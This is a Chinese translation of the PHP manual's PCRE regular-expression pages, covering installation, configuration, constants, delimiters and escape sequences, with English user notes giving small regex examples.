这些函数中使用的模式语法非常类似 perl。表达式必须用分隔符闭合，比如一个正斜杠(/)。 分隔符可以使任意非字母数字，除反斜杠(\)和空字节之外的非空白 ascii 字符。 如果分隔符 在表达式中使用，需要使用反斜线进行转义。也可以使用 perl 样式的()、 {}、 [] 以及 <> 作为分隔符。 更详细的解释参见模式语法。

结束分隔符后面可以紧跟模式修饰符来影响匹配效果。 参见模式修饰符。

Note:

这个扩展维护了一个已编译正则表达式的全局线程化缓存(最大4096)。

Warning

你应该知道一些 PCRE 的限制。阅读» http://www.pcre.org/pcre.txt 获取更详细信息。

PCRE 库是一个实现了与 perl 5 在语法和语义上略有差异(详见下文)的正则表达式模式匹配功能的函数集。 当前的实现对应于 perl 5.005。

User Contributed Notes

There are no user contributed notes for this page.


安装

PCRE 是 PHP 核心扩展，所以始终启用。默认情况下，该扩展使用内置的 PCRE 库。或者，也可以通过指定配置选项 --with-pcre-regex=DIR 设置外部 PCRE 库，DIR 是 PCRE 的 include 和 library 文件位置。推荐使用 PCRE 8.10 或更高版本，自 PHP 7.3.0 起，需要 PCRE2。

PCRE 默认支持 JIT（just-in-time）编译技术，PHP 7.0.12 起可以通过 --without-pcre-jit 禁用 PCRE 的 JIT 功能。

PHP 的 Windows 版本已内建对此扩展的支持。不需要载入额外的扩展来使用这些函数。

PCRE 是一个活跃的项目，作为它的一个演变，PHP功能依赖于它。 php 文档的某些部分可能会过期, 因为它可能不包括 PCRE 提供的一些新功能. 关于修正的清单，请查阅 » PCRE 库更新日志，下面是绑定的 PCRE 库的历史记录：

绑定 PCRE 库升级历史
PHP 版本 | 更新 PCRE 版本 | 说明
8.2.0 | 10.40 |
8.1.0 | 10.39 |
7.4.12, 8.0.0 | 10.35 |
7.4.6 | 10.34 |
7.4.0 | 10.33 |
7.3.0 | 10.32 |
7.2.0 | 8.41 |
7.0.3 | 8.38 | 参见 CVE-2015-8383、CVE-2015-8386、CVE-2015-8387、CVE-2015-8389、CVE-2015-8390、CVE-2015-8391、CVE-2015-8393、CVE-2015-8394
7.0.0 | 8.37 | 参见 CVE-2015-2325、CVE-2015-2326

User Contributed Notes

Lrinczy Zsigmond 17-Sep-2018 12:22
From PHP version 7.3, 'pcre2' is used instead of 'pcre'. It is bundled with the PHP source, or a preinstalled pcre2 can be used if it was compiled with these configure-options:

--enable-shared --enable-unicode --enable-jit

If you want to use preinstalled pcre2 with PHP, use configure-options --with-pcre-dir=<path> and --with-pcre-regex=<path> (I don't know why there is two of them).


运行时配置

这些函数的行为受 php.ini 中的设置影响。

PCRE配置选项
名字 | 默认 | 可修改范围 | 更新日志
pcre.backtrack_limit | "100000" | PHP_INI_ALL |
pcre.recursion_limit | "100000" | PHP_INI_ALL |
pcre.jit | "1" | PHP_INI_ALL |
有关 PHP_INI_* 样式的更多详情与定义，见 配置可被设定范围。

这是配置指令的简短说明。

pcre.backtrack_limit int

PCRE的回溯限制.

pcre.recursion_limit int

PCRE 的递归限制. 请注意, 如果将这个值设置为一个很大的数字, 可能会消耗掉进程所有可用的堆栈, 最终导致 PHP 崩溃（由于达到操作系统限制的堆栈大小）。

pcre.jit bool

是否使用 PCRE 的 JIT 编译。

User Contributed Notes

There are no user contributed notes for this page.


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

PREG 常量
常量 | 说明 | 开始可用的版本
PREG_PATTERN_ORDER (int) | 对结果进行排序，以便 $matches[0] 是完整模式匹配的数组，$matches[1] 是第一个括号子模式匹配的字符串数组，以此类推。此 flag 仅与 preg_match_all() 一起使用。 |
PREG_SET_ORDER (int) | 对结果进行排序，以便 $matches[0] 是第一组匹配的数组，$matches[1] 是第二组匹配的数组，以此类推。此 flag 仅与 preg_match_all() 一起使用。 |
PREG_OFFSET_CAPTURE (int) | 查看 PREG_SPLIT_OFFSET_CAPTURE 的描述。 |
PREG_SPLIT_NO_EMPTY (int) | 这个 flag 告诉 preg_split() 仅返回非空部分。 |
PREG_SPLIT_DELIM_CAPTURE (int) | 这个 flag 告诉 preg_split() 也捕获分隔符模式中带括号的表达式。 |
PREG_SPLIT_OFFSET_CAPTURE (int) | 如果设置了此 flag，则对于每次发生的匹配，还将附带返回字符串偏移量。注意，这会改变返回数组中的值， 每个元素都是由匹配子串作为第 0 个元素，它相对目标字符串的偏移量作为第 1 个元素的数组。这个 flag 只能用于 preg_split()。 |
PREG_UNMATCHED_AS_NULL (int) | 此 flag 告诉 preg_match() 和 preg_match_all() 在 $matches 将包含的未匹配子模式作为 null 值。没有此 flag，未匹配的子模式将报告为空字符串，就像是空匹配一样。设置此 flag 可以区分这两种情况。 | 7.2.0
PREG_NO_ERROR (int) | 如果没有错误，则由 preg_last_error() 返回。 | 5.2.0
PREG_INTERNAL_ERROR (int) | 如果有 PCRE 内部错误，则由 preg_last_error() 返回。 | 5.2.0
PREG_BACKTRACK_LIMIT_ERROR (int) | 如果超出了回溯限制，则由 preg_last_error() 返回。 | 5.2.0
PREG_RECURSION_LIMIT_ERROR (int) | 如果超出了递归限制，则由 preg_last_error() 返回。 | 5.2.0
PREG_BAD_UTF8_ERROR (int) | 如果最后一个错误是由格式错误的 UTF-8 数据引起的（仅在 UTF-8 模式下运行正则表达式时），则由 preg_last_error() 返回。 | 5.2.0
PREG_BAD_UTF8_OFFSET_ERROR (int) | 如果偏移量不对应可用的 UTF-8 开始码位（仅在 UTF-8 模式下运行正则表达式时），则由 preg_last_error() 返回。 | 5.3.0
PREG_JIT_STACKLIMIT_ERROR (int) | 当最后一个 PCRE 函数因 JIT 栈空间限制而失败，则由 preg_last_error() 返回。 | 7.0.0
PCRE_VERSION (string) | PCRE 版本号和发布日期（比如："7.0 18-Dec-2006"）。 | 5.2.4

User Contributed Notes

Robert 23-Dec-2015 10:41
The new PREG_JIT_STACKLIMIT_ERROR constant introduced with PHP 7.0.0 has got a value of 6.

I experienced this error code when parsing a 112KB file. preg_match_all failed with this error. Interesting was: The matches array contained some entries, but not all as the command failed (I missed to check the return value).

Unfortunately you can not configure the stack-size of the PCRE JIT. The only way out was - at least for me - to disable the PCRE JIT via php.ini (pcre.jit=0).
erutan409 at hotmail dot com 31-Jul-2015 01:24
PREG_PATTERN_ORDER: 1
PREG_SET_ORDER: 2
PREG_OFFSET_CAPTURE: 256
PREG_SPLIT_NO_EMPTY: 1
PREG_SPLIT_DELIM_CAPTURE: 2
PREG_SPLIT_OFFSET_CAPTURE: 4
PREG_NO_ERROR: 0
PREG_INTERNAL_ERROR: 1
PREG_BACKTRACK_LIMIT_ERROR: 2
PREG_RECURSION_LIMIT_ERROR: 3
PREG_BAD_UTF8_ERROR: 4
PREG_BAD_UTF8_OFFSET_ERROR: 5
PCRE_VERSION: %YOUR_VERSION_NUMBER%


示例

Example #1 合法模式示例

  • /<\/\w+>/
  • |(\d{3})-\d+|Sm
  • /^(?i)php[34]/
  • {^\s+(\s+)?$}

Example #2 非法模式示例

  • /href='(.*)' - 缺失结束分隔符
  • /\w+\s*\w+/J - 未知模式修饰符"J"
  • 1-\d3-\d3-\d4| - 缺失开始分隔符

User Contributed Notes

There are no user contributed notes for this page.


PCRE模式

Table of Contents

  • PCRE 正则语法
  • 正则表达式模式中可用的模式修饰符
  • 与 perl 的不同之处

User Contributed Notes

There are no user contributed notes for this page.


模式语法

Table of Contents

  • 简介
  • 分隔符
  • 元字符
  • 转义序列(反斜线)
  • Unicode 字符属性
  • 锚
  • 句点
  • 字符类(方括号)
  • 可选路径(|)
  • 内部选项设置
  • 子组(子模式)
  • 重复/量词
  • 后向引用
  • 断言
  • 一次性子组
  • 条件子组
  • 注释
  • 递归模式
  • 性能

User Contributed Notes

Hayley Watson 05-Jan-2018 11:38
As a rule of thumb, it's better to describe your regular expression patterns using single-quoted strings.

Using double-quoted strings, the interaction between PHP's and PCRE's interpretations of which bits of the string are escape sequences can get messy. Regular expressions can get messy enough as it is without another layer of escaping making it worse.
mbrodin 24-Nov-2008 01:18
Hi!

For even better prestanda of the code below, use;

<?php
    $f = array();

    foreach($allTags[1] as $tag){
    $f[] = "%(<$tag.*?>)(.*?)(<\/$tag.*?>)%is";
    }

    if(sizeof($f)) $str = preg_replace($f, ($stripContent ? '' : '${2}'), $str);
?>

This will not use preg_replace on every tag, instead it collect the regex as array, and then executes and should be better.

It also check so there are any regex to replace! If not, it will not start preg_replace! :)

Added the "<?php" so it will highlight the code!
chris at madblanks dot org 04-Jul-2007 12:22
When enclosing your regular expression in double quotes, back references require two backslashes.

For example, \1 is the ascii character \1. You need to provide \\1 to get the back reference.
sam marshall 24-May-2007 10:23
For anyone who sees this error:

Warning: preg_match() [function.preg-match]: Compilation failed: PCRE does not support \L, \l, \N, \P, \p, \U, \u, or \X at ...

As this manual page says, you need PHP 5.1.0 and the /u modifier in order to enable these features, but that isn't the only requirement! It is possible to install later versions of PHP (we have 5.1.4) while linking to an older PCRE install. A quick look at the PCRE changelog suggests that you probably need at least PCRE 5; we're running 4.5, while the latest is 7.1. You can find out your PCRE version by checking phpinfo().

I suspect this ancient PCRE version is included in some officially-supported Red Hat Enterprise package which is probably why we are running it so might also affect other people.
pstradomski at gmail dot com 29-Mar-2007 07:55
About strip_selected_tags function from two posts below:

it does not work if somebody uses tags without ending ">" character, like this:

<p <b> bold text </b</p

This  is even valid HTML (but not valid XHTML)
Daniel Vandersluis 23-Nov-2005 10:50
Concerning note #6 in "Differences From Perl", the \G token *is* supported as the last match position anchor. This has been confirmed to work at least in preg_replace(), though I'd assume it'd work in preg_match_all(), and other functions that can make more than one match, as well.
onerob at gmail dot com 01-Apr-2005 04:51
If, like me, you tend to use the /U pattern modifier, then you will need to remember that using ? or * to to test for optional characters will match zero characters if it means that the rest of the pattern can continue matching, even if the optional characters exist.

For instance, if we have this string:

a___bcde

and apply this pattern:

'/a(_*).*e/U'

The whole pattern is matched but none of the _ characters are placed in the sub-pattern. The way around this (if you still wish to use /U) is to use the ? greediness inverter. eg,

'/a(_*?).*e/U'
info at atjeff dot co dot nz 07-Feb-2005 04:46
ive never used regex expressions till now and had loads of difficulty trying to convert a [url]link here[/url] into an href for use with posting messages on a forum, heres what i manage to come up with:

$patterns = array(
            "/\[link\](.*?)\[\/link\]/",
            "/\[url\](.*?)\[\/url\]/",
            "/\[img\](.*?)\[\/img\]/",
            "/\[b\](.*?)\[\/b\]/",
            "/\[u\](.*?)\[\/u\]/",
            "/\[i\](.*?)\[\/i\]/"
        );
        $replacements = array(
            "<a href=\"\\1\">\\1</a>",
            "<a href=\"\\1\">\\1</a>",
            "<img src=\"\\1\">",
            "<b>\\1</b>",
            "<u>\\1</u>",
            "<i>\\1</i>"

        );
        $newText = preg_replace($patterns,$replacements, $text);

at first it would collect ALL the tags into one link/bold/whatever, until i added the "?" i still dont fully understand it... but it works :)
J Daugherty 09-Dec-2004 09:06
In the character class meta-character documentation above, the circumflex (^) is described:

"^   negate the class, but only if the first character"

It should be a little more verbose to fully express the meaning of ^:

^    Negate the character class.  If used, this must be the first character of the class (e.g. "[^012]").
napalm at spiderfish dot net 17-Mar-2004 08:14
Pay attention that some pcre features such as once-only or recursive patterns are not implemented in php versions prior to 5.00

Napalm


简介

下面描述的是 PCRE 支持的正则表达式语法和语义。正则表达式在 perl 的文档 和另外一些书籍中也有讨论, 其中一些会有丰富的示例。O'Reilly(ISBN 1-56592-257-3) 出版的 Jeffrey Friedl 的《精通正则表达式》一书非常详细的讨论了这些内容。 这里的描述仅作为一个参考手册。

正则表达式是一个从左到右匹配目标字符串的模式。大多数字符自身就代表一个匹配 它们自身的模式。 作为一个简单的例子，模式 The quick brown fox 匹配目标字符串中与其相同的部分。

User Contributed Notes

michaelsy01[NXSPM] at informantum dot de 05-Apr-2022 08:30
PCRE is an acronym for Perl Compatible Regular Expressions. "The PCRE library is a set of functions that implement regular expression pattern matching using the same syntax and semantics as Perl 5." (from: pcre dot org)


分隔符

当使用 PCRE 函数的时候，模式需要由分隔符闭合包裹。 分隔符可以是任意非字母数字、非反斜线、非空白字符。 静默忽略合法分隔符之前的空白字符。

经常使用的分隔符是正斜线(/)、hash符号(#) 以及取反符号(~)。下面的例子都是使用合法分隔符的模式。

/foo bar/
#^[^0-9]$#
+php+
%[a-zA-Z0-9_-]%

It is also possible to use bracket style delimiters where the opening and closing brackets are the starting and ending delimiter, respectively. (), {}, [] and <> are all valid bracket style delimiter pairs.

(this [is] a (pattern))
{this [is] a (pattern)}
[this [is] a (pattern)]
<this [is] a (pattern)>
Bracket style delimiters do not need to be escaped when they are used as meta characters within the pattern, but as with other delimiters they must be escaped when they are used as literal characters.

如果需要在正则模式内匹配分隔符，必须使用反斜线转义。如果分隔符经常在 正则模式内出现， 最好使用其他分隔符以便提高可读性。

/http:\/\//
#http://#
需要将一个字符串放入模式中使用时，可以用 preg_quote() 函数对其进行 转义，它的第二个参数(可选)可以用于指定需要被转义的分隔符。

可以在结束分隔符后面增加模式修饰符。 下面的例子是一个大小写不敏感的匹配：

#[a-z]#i

User Contributed Notes

Revo 12-Dec-2018 08:56
Note that angle brackets `<>` shouldn't be used as delimiters whenever you will have to invoke advanced clusters like atomic groups or lookbehinds because their including angle bracket doesn't come in pair and escaping doesn't help either.
Munin 26-Aug-2015 01:07
preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'

preg_match('{[\}]}', ''); // OK
Pedro Gimeno 26-Feb-2015 12:46
Note that bracket style opening and closing delimiters aren't a 100% problem-free solution, as they need to be escaped when they aren't in matching pairs within the expression. That mismatch can happen when they appear inside character classes [...], as most meta-characters lose their special meaning. Consider these examples:

<?php
  preg_match('{[{]}', ''); // Warning: preg_match(): No ending matching delimiter '}'
  preg_match('{[}]}', ''); // Warning: preg_match(): Unknown modifier ']'
  preg_match('{[}{]}', ''); // Warning: preg_match(): Unknown modifier ']'
?>

Escaping them solves it:

<?php
  preg_match('{[\{]}', ''); // OK
  preg_match('{[}]}', ''); // OK
  preg_match('{[\}\{]}', ''); // OK
?>


元字符

正则表达式的魔力源于它可以在模式中拥有选择和重复的能力。 一些字符被赋予 特殊的涵义，使其不再单纯的代表自己，模式中的这种有特殊涵义的编码字符 称为 元字符。

共有两种不同的元字符：一种是可以在模式中方括号外任何地方使用的，另外一种 是需要在方括号内使用的。 在方括号外使用的元字符如下：

方括号外的元字符
元字符 | 描述
\ | 一般用于转义字符
^ | 断言目标的开始位置(或在多行模式下是行首)
$ | 断言目标的结束位置(或在多行模式下是行尾)
. | 匹配除换行符外的任何字符(默认)
[ | 开始字符类定义
] | 结束字符类定义
| | 开始一个可选分支
( | 子组的开始标记
) | 子组的结束标记
? | 作为量词，表示 0 次或 1 次匹配。位于量词后面用于改变量词的贪婪特性。 (查阅量词)
* | 量词，0 次或多次匹配
+ | 量词，1 次或多次匹配
{ | 自定义量词开始标记
} | 自定义量词结束标记
模式中方括号内的部分称为"字符类"。 在一个字符类中仅有以下可用元字符：
方括号内的元字符（字符类）
元字符 | 描述
\ | 转义字符
^ | 仅在作为第一个字符(方括号内)时，表明字符类取反
- | 标记字符范围
下面章节描述了每个元字符的用法。

User Contributed Notes

There are no user contributed notes for this page.


转义序列(反斜线)

反斜线有多种用法。首先，如果紧接着是一个非字母数字字符，表明取消 该字符所代表的特殊涵义。这种将反斜线作为转义字符的用法在字符类 内部和外部都可用。

比如，如果你希望匹配一个 "*" 字符，就需要在模式中写为 "\*"。 这适用于一个字符在不进行转义会有特殊含义的情况下。 但是， 对于非数字字母的字符，总是在需要其进行原文匹配的时候在它前面增加一个反斜线， 来声明它代表自己，这是安全的。如果要匹配一个反斜线，那么在模式中使用 "\\"。

Note:

反斜线在单引号和双引号 PHP 字符串 中都有特殊含义。因此要匹配一个反斜线 \，正则表达式写法是 \\， 然后 PHP 代码中需要转义写成 "\\\\" 或 '\\\\'。

如果一个模式被使用 PCRE_EXTENDED 选项编译， 模式中的空白字符(除了字符类中的)和未转义的#到行末的所有字符都会被忽略。 要在这种情况下使用空白字符或者#，就需要对其进行转义。

反斜线的第二种用途提供了一种对非打印字符进行可见编码的控制手段。 除了二进制的 0 会终结一个模式外，并不会严格的限制非打印字符(自身)的出现， 但是当一个模式以文本编辑器的方式编辑准备的时候， 使用下面的转义序列相比使用二进制字符会更加容易：

\a
响铃字符(十六进制 07)
\cx
"control-x"，x 是任意字符
\e
转义 (十六进制 1B)
\f
换页 (十六进制 0C)
\n
换行 (十六进制 0A)
\p{xx}
一个符合 xx 属性的字符，详细查看unicode properties 属性
\P{xx}
一个不符合xx属性的字符，详细查看unicode properties 属性
\r
回车 (十六进制 0D)
\R
换行符：能匹配 \n、\r、\r\n
\t
水平制表符 tab (十六进制 09)
\xhh
hh 十六进制编码的字符
\ddd
ddd八进制编码的字符，或者后向引用

\cx的确切效果如下： 如果x是一个小写字母，它被转换为大写。接着， 将字符的第6位(十六进制 40，右数第一个位为第0位)取反。 比如\cz成为十六进制的1A，\c{成为十六进制3B， \c;成为十六进制7B。

在"\x"后面，读取两个十六进制数(字母可以是大写或小写)。 在UTF-8模式， "\x{...}"允许使用， 花括号内的内容是十六进制有效数字。 它将给出的十六进制数字解释为 UTF-8 字符代码。原来的十六进制转义序列， \xhh， 匹配一个双字节的UTF-8字符，如果它的值大于127

在"\0"之后， 读取两个八进制数。所有情况下，如果数少于2个，则直接使用。 序列 "\0\x\07" 指定了两个二进制 0 紧跟着一个 BEL 字符。 请确保初始的 0 之后的两个数字是合法的八进制数。

处理一个反斜线紧跟着的不是0的数字的情况比较复杂。在字符类外部， PCRE 读取它并以十进制读取紧随其后的数字。 如果数值小于 10， 或者之前捕获到了该数字能够代表的左括号(子组)， 整个数字序列被认为是后向引用。后向引用如何工作在后面描述， 接下来就会讨论括号子组。

在一个字符类里面，或者十进制数大于 9 并且没有那么多的子组被捕获， PCRE 重新读取反斜线后的第三个 8 进制数字，并且从最低的 8 位生成单字节值。 任何的后续数字都代表它们自身。例如：

\040
空格的另外一种用法
\40
当提供了少于40个子组时也认为是空格。
\7
始终是后向引用
\11
可能是后向引用，也可能是制表符
\011
总是一个制表符
\0113
一个制表符紧跟着一个3(因为每次最多只读取3个8进制位
\113
八进制113代表的字符(since there can be no more than 99 back references)
\377
8进制377是10进制255， 因此代表一个全1的字符
\81
一个后向引用或者一个二进制 0 紧跟着两个数字 8 和 1(因为8不是8进制有效数字)

注意，八进制值的 100 或者更大的值必须没有前置的0引导， 因为每次最多读取3个8进制位.

所有序列定义的单字节值都可以在字符类内部或外部使用。另外，在字符类中, 序列 "\b" 解释为退格字符(hex 08)。 字符类外它又有不同的意义(下面有描述)。

反斜线的第三种用法是用来描述特定的字符类：

\d
任意十进制数字
\D
任意非十进制数字
\h
任意水平空白字符
\H
任意非水平空白字符
\s
任意空白字符
\S
任意非空白字符
\v
任意垂直空白字符
\V
任意非垂直空白字符
\w
任意单词字符
\W
任意非单词字符

上面每一对转义序列都代表了完整字符集中两个不相交的部分， 任意字符一定会匹配其中一个，同时一定不会匹配另外一个。

"空白字符"（whitespace）是 HT (9)、LF (10)、FF (12)、CR (13)、space (32)。 然而，若发生了本地化匹配，在代码点 128-255 范围内亦可能出现空白字符， 比如说 NBSP (A0)。

单词字符指的是任意字母、数字、下划线。 也就是说任意可以组成perl单词的字符。 字母和数字的定义通过PCRE字符表控制，可以通过指定地域设置使其匹配改变。比如， 在法国 (fr) 本地化设置中，一些超过 128 的字符代码被用于重音字母， 它们可以实用 \w 匹配。

这些字符类序列在字符类内部或外部都可以出现。 他们每次匹配所代表的字符类型中的一个字符。 如果当前匹配点位于目标字符串末尾， 它们中的所有字符都匹配失败， 因为没有字符让它们匹配了。

反斜线的第四种用法是一些简单的断言。 一个断言指定一个必须在特定位置匹配的条件， 它们不会从目标字符串中消耗任何字符。 接下来我们会讨论使用子组的更加复杂的断言。 反斜线断言包括：

\b
单词边界
\B
非单词边界
\A
目标的开始位置(独立于多行模式)
\Z
目标的结束位置或结束处的换行符(独立于多行模式)
\z
目标的结束位置(独立于多行模式)
\G
在目标中首次匹配位置

这些断言不能出现在字符类中(但是注意， "\b"在字符类中有不同的意义， 表示的是退格(backspace)字符)

一个单词边界表示的是在目标字符串中， 当前字符和前一个字符不同时匹配\w或\W(一个匹配\w, 一个匹配\W)， 或者作为字符串开始或结尾字符的时候当前字符匹配\w。

\A， \Z， \z断言不同于传统的^和$(详见 锚)， 因为他们永远匹配目标字符串的开始和结尾，而不会受模式修饰符的限制。 它们不受PCRE_MULTILINE，PCRE_DOLLAR_ENDONLY选项的影响。 \Z 和 \z 之间的不同在于当字符串结束字符时换行符时 \Z 会将其看做字符串结尾匹配, 而 \z 只匹配字符串结尾。

\G 断言在指定了offset 参数的preg_match() 调用中， 仅在当前匹配位置在匹配开始点的时候才是成功的。 当 offset 的值不为 0 的时候， 它与 \A 是不同的。 译注：另外一点与 \A 的不同之处在于使用 preg_match_all() 时， 每次匹配 \G 只是断言是否是匹配结果的开始位置， 而 \A 断言的则是匹配结果的开始位置是否在目标字符串开始位置。

\Q 和 \E 可以用于在模式中忽略正则表达式元字符。比如：\w+\Q.$.\E$ 会匹配一个或多个单词字符，紧接着 .$.，最后锚向字符串末尾。注意这不会改变分隔符的行为；例如模式 #\Q#\E#$ 无效，因为第二个 # 标记了模式的结束，而 \E# 解释为无效的修饰符。

\K 可以用于重置匹配。 比如， foot\Kbar 匹配"footbar"。 但是得到的匹配结果是 "bar"。但是， \K 的使用不会干预到子组内的内容， 比如 (foot)\Kbar 匹配 "footbar"，第一个子组内的结果仍然会是 "foo"。译注： \K 放在子组和子组外面的效果是一样的。

User Contributed Notes

tharabar at gmail dot com 19-Sep-2019 04:08
Required to use \007 instead of \a
Anonymous 25-Jul-2019 03:03
A non breaking space is not considered as a space and cannot be caught by \s.

it can be found with :

- [\xc2\xa0] in utf-8
- \x{00a0} in unicode
Wirek 22-Feb-2018 01:38
Significantly updated version (with new $pat4 utilising \R properly, its results and comments):
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq) when used improperly.
A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';    // Slightly better
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org when used improperly
$pat4='/\w(?=\R)/i';    // Much better with allowed lookahead assertion (just to detect without capture) without multiline (/m) mode; note that with alternative for end of string ((?=\R|$)) it would grab all 7 elements as expected
$pat5='/\w\v?$/mi';
$pat6='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment (described on pcre.org and en.wikipedia.org)
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
$t=preg_match_all($pat6, $str, $m6);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true)
    ."\n6 !!! $pat6 ($t): ".print_r($m6[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 and $pat4 (\R), $pat5 (\v) and altered newline option in $pat6 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w(?=\R)/i (6): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
)

5 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

6 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
Wirek 20-Feb-2018 12:21
Note that there are (sometimes difficult to grasp at first glance) nuances of meaning and application of escape sequences like \r, \R and \v - none of them is perfect in all situations, but they are quite useful nevertheless. Some official PCRE control options and their changes come in handy too - unfortunately neither (*ANYCRLF), (*ANY) nor (*CRLF) is documented here on php.net at the moment (although they seem to be available for over 10 years and 5 months now), but they are described on Wikipedia ("Newline/linebreak options" at https://en.wikipedia.org/wiki/Perl_Compatible_Regular_Expressions) and official PCRE library site ("Newline convention" at http://www.pcre.org/original/doc/html/pcresyntax.html#SEC17) pretty well. The functionality of \R appears somehow disappointing (with default configuration of compile time option) according to php.net as well as official description ("Newline sequences" at https://www.pcre.org/original/doc/html/pcrepattern.html#newlineseq).

A hint for those of you who are trying to fight off (or work around at least) the problem of matching a pattern correctly at the end ($) of any line in multiple lines mode (/m).
<?php
// Various OS-es have various end line (a.k.a line break) chars:
// - Windows uses CR+LF (\r\n);
// - Linux LF (\n);
// - OSX CR (\r).
// And that's why single dollar meta assertion ($) sometimes fails with multiline modifier (/m) mode - possible bug in PHP 5.3.8 or just a "feature"(?).
$str="ABC ABC\n\n123 123\r\ndef def\rnop nop\r\n890 890\nQRS QRS\r\r~-_ ~-_";
//          C          3                   p          0                   _
$pat1='/\w$/mi';    // This works excellent in JavaScript (Firefox 7.0.1+)
$pat2='/\w\r?$/mi';
$pat3='/\w\R?$/mi';    // Somehow disappointing according to php.net and pcre.org
$pat4='/\w\v?$/mi';
$pat5='/(*ANYCRLF)\w$/mi';    // Excellent but undocumented on php.net at the moment
$n=preg_match_all($pat1, $str, $m1);
$o=preg_match_all($pat2, $str, $m2);
$p=preg_match_all($pat3, $str, $m3);
$r=preg_match_all($pat4, $str, $m4);
$s=preg_match_all($pat5, $str, $m5);
echo $str."\n1 !!! $pat1 ($n): ".print_r($m1[0], true)
    ."\n2 !!! $pat2 ($o): ".print_r($m2[0], true)
    ."\n3 !!! $pat3 ($p): ".print_r($m3[0], true)
    ."\n4 !!! $pat4 ($r): ".print_r($m4[0], true)
    ."\n5 !!! $pat5 ($s): ".print_r($m5[0], true);
// Note the difference among the three very helpful escape sequences in $pat2 (\r), $pat3 (\R), $pat4 (\v) and altered newline option in $pat5 ((*ANYCRLF)) - for some applications at least.

/* The code above results in the following output:
ABC ABC

123 123
def def
nop nop
890 890
QRS QRS

~-_ ~-_
1 !!! /\w$/mi (3): Array
(
    [0] => C
    [1] => 0
    [2] => _
)

2 !!! /\w\r?$/mi (5): Array
(
    [0] => C
    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

3 !!! /\w\R?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

4 !!! /\w\v?$/mi (5): Array
(
    [0] => C

    [1] => 3
    [2] => p
    [3] => 0
    [4] => _
)

5 !!! /(*ANYCRLF)\w$/mi (7): Array
(
    [0] => C
    [1] => 3
    [2] => f
    [3] => p
    [4] => 0
    [5] => S
    [6] => _
)
 */
?>
Unfortunately, I haven't got any access to a server with the latest PHP version - my local PHP is 5.3.8 and my public host's PHP is version 5.2.17.
vea dot git at gmail dot com 12-Jul-2017 03:36
\b BS

$str=""

$str =str_replace("\b", "", $str);
//echo 

$str =str_replace(chr(8), "", $str);
//echo

$str =str_replace("\\b", "", $str);
//echo
error17191 at gmail dot com 21-Sep-2015 12:55
Some escape sequence like the tab character \t won't work inside single quotes '\t', But they work inside double quotes.
Other escape sequences like the backspace character won't work unless you use its ascii codepoint and chr() function i.e. chr(8)
info at maisuma dot jp 17-Jun-2014 04:47
You can use Unicode character escape sequences (tested on PHP 5.3.3 & PCRE 7.8).

<?php
//This source is supposed to be written in UTF-8.
$a='�';
var_dump(preg_match('/\\x{20ac}/u',$a)); //Match!
bluemoehre at gmx dot de 14-Jan-2014 12:06
Using \R in character classes is NOT possible:

var_dump( preg_match('#\R+#',"\n") ); -> int(1)
var_dump( preg_match('#[\R]+#',"\n") ); -> int(0)
collons at ya dot com 04-Oct-2013 04:06
The pattern "/\\A/" may be replaced by "/\\\A/" in order to match a "\A" string. Any other escaped "\" looks to work fine so you can use "/\\S/", for instance, to match a "\S" string.
mike at eastghost dot com 28-Mar-2012 07:25
"line break" is ill-defined:

 -- Windows uses CR+LF (\r\n)
